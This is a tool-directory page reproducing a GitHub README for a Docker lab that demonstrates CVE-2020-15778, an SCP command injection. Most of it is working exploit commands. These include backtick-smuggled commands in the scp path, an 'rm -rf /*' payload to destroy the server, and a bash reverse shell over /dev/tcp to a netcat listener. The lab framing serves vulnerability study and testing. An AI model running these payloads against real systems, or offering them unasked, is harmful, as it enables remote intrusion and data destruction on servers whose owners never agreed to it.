Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-15778 — Reproduces CVE-2020-15778 SCP command injection exploit with Docker-based client-server setup for testing remote code execution and reverse shell payloads. | Kitploit
Tools/GitHubGitHub/yifanzhg/cve-2020-15778
Container SecurityVulnerability AnalysisExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubyifanzhg/cve-2020-15778

CVE-2020-15778

Reproduces CVE-2020-15778 SCP command injection exploit with Docker-based client-server setup for testing remote code execution and reverse shell payloads.

View Repository
332 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-15778

Introduction

This repo reproduces CVE-2020-15778.

Steps

  1. Build the docker images for scp server and client
root@kitploit:~
cd client
docker build -t client-cve .
root@kitploit:~
cd server
docker build -t server-cve .
  1. Spin up the scp server in container.
root@kitploit:~
docker run -d -P --name scp-server server-cve

Retrieve the internal IP address of the scp server by

root@kitploit:~
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
  1. Run the client in container.
root@kitploit:~
docker run --name scp-client -i -t client-cve
  1. Inject your own shell command to scp server by call scp command in the client.

In client terminal, run

root@kitploit:~
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'

The password is "PASSWORD".

Examples

Here're some examples for this exploit.

  1. Delete everything in the server to crash it.
root@kitploit:~
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
  1. Reflect the bash of the scp server into the client (mimic ssh).

Listen to a port on client machine.

root@kitploit:~
nc -lvvp 8080

Use scp to force the server mapping the interactive bash into the client machine.

root@kitploit:~
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'

The client IP address can be retrieved by

root@kitploit:~
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client
Download Tool